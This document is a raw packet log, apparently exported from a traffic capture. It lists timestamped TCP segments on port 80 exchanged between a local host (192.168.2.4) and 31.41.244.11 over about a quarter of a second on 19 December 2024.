Dec 19, 2024 06:09:52.657922029 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.658004999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.658054113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.658957958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.659008026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.659204006 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.659245014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.660094976 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.660135984 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.660207033 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.660248041 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.661185026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.661375999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.661384106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.661415100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.662291050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.662341118 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.662463903 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.662508011 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.663505077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.663547039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.663558006 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.663599968 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.664570093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.664628983 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.664788008 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.664833069 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.665710926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.665726900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.665754080 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.665771961 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.666800976 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.666841984 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.666917086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.666956902 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.667877913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.667918921 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.667974949 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.668015957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.668962002 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.669004917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.669080019 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.669121027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.670130014 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.670154095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.670172930 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.670192003 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.671214104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.671335936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.671380997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.672405005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.672420979 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.672441006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.672463894 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.673450947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.673496008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.673504114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.673566103 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.674540997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.674621105 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.674685001 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.674742937 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.675717115 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.675734043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.675777912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.676728964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.676779985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.676831007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.676876068 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.677932978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.677983999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.678370953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.678414106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.679038048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.679083109 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.679125071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.679167986 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.680030107 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.680207014 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.680246115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.681170940 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.681215048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.681279898 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.681329966 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.682260036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.682324886 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.682367086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.682414055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.683393955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.683438063 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.683478117 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.683517933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.684468031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.684514046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.684566021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.684773922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.685637951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.685683966 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.685708046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.685744047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.686767101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.686804056 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.686813116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.686877966 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.687858105 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.687903881 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.687912941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.687954903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.688962936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.689007044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.689009905 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.689043045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.690054893 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.690102100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.690140963 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.690243959 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.691116095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.691159964 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.691302061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.691438913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.692254066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.692306995 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.692343950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.692383051 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.693325996 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.693372965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.693454981 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.693542957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.694504976 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.694549084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.694552898 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.694600105 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.695569038 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.695625067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.695698023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.695831060 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.696669102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.696721077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.696744919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.696780920 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.697758913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.697804928 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.697843075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.698574066 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.698915005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.698961020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.699088097 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.699131012 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.700020075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.700073004 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.700145960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.700346947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.701081991 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.701126099 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.701204062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.701245070 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.702334881 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.702383995 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.702404976 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.702420950 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.703300953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.703341007 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.703541994 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.703583002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.704396963 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.704441071 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.704576969 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.704619884 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.705584049 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.705637932 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.705670118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.705710888 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.706676006 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.706718922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.706729889 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.706769943 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.707709074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.707838058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.707865000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.707952976 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.708856106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.708897114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.708976984 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.709017038 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.709990978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.710038900 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.852300882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.852351904 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.852380037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.852416992 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.852746010 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.852796078 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.852822065 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.852864027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.853867054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.853908062 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.853964090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.854034901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.854954958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.854996920 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.855053902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.855093956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.856061935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.856101990 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.856157064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.856250048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.857266903 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.857310057 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.857386112 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.857426882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.858366013 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.858383894 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.858407974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.858428001 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.859381914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.859426022 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.859471083 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.859513044 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.860492945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.860532999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.860589027 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.860629082 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.861593962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.861624002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.861699104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.861738920 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.862699986 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.862807989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.862821102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.862859964 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.863806963 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.863854885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.863878965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.863946915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.864912033 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.864952087 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.865040064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.865209103 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.866014004 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.866069078 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.866106987 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.866148949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.867202044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.867245913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.867330074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.867372990 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.868248940 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.868292093 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.868453979 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.868490934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.869339943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.869400024 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.869442940 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.869487047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.870445967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.870486021 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.870557070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.870635986 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.871562004 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.871602058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.871654034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.871700048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.872667074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.872709036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.872751951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.872792006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.873795033 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.873836040 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.873909950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.873950005 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.874916077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.874957085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.875000954 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.875042915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.875992060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.876036882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.876080036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.876118898 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.877103090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.877212048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.877216101 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.877253056 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.878204107 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.878326893 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.878371000 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.879302979 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.879345894 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.879415989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.879457951 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.880410910 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.880456924 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.880507946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.880552053 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.881541967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.881582975 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.881654024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.881710052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.882646084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.882688999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.882733107 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.882776976 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.883766890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.883810043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.883900881 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.883940935 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.884859085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.884965897 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.884968996 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.885015011 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.885988951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.886030912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.886127949 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.886167049 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.887128115 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.887167931 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.887232065 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.887306929 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.888181925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.888225079 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.888289928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.888330936 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.889295101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.889341116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.889398098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.889439106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.890376091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.890414953 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.890486956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.890532017 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.891550064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.891593933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.891638041 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.891683102 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.892630100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.892678022 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.892728090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.892770052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.893819094 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.893858910 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.893887043 CET	80	49860	31.41.244.11	192.168.2.4
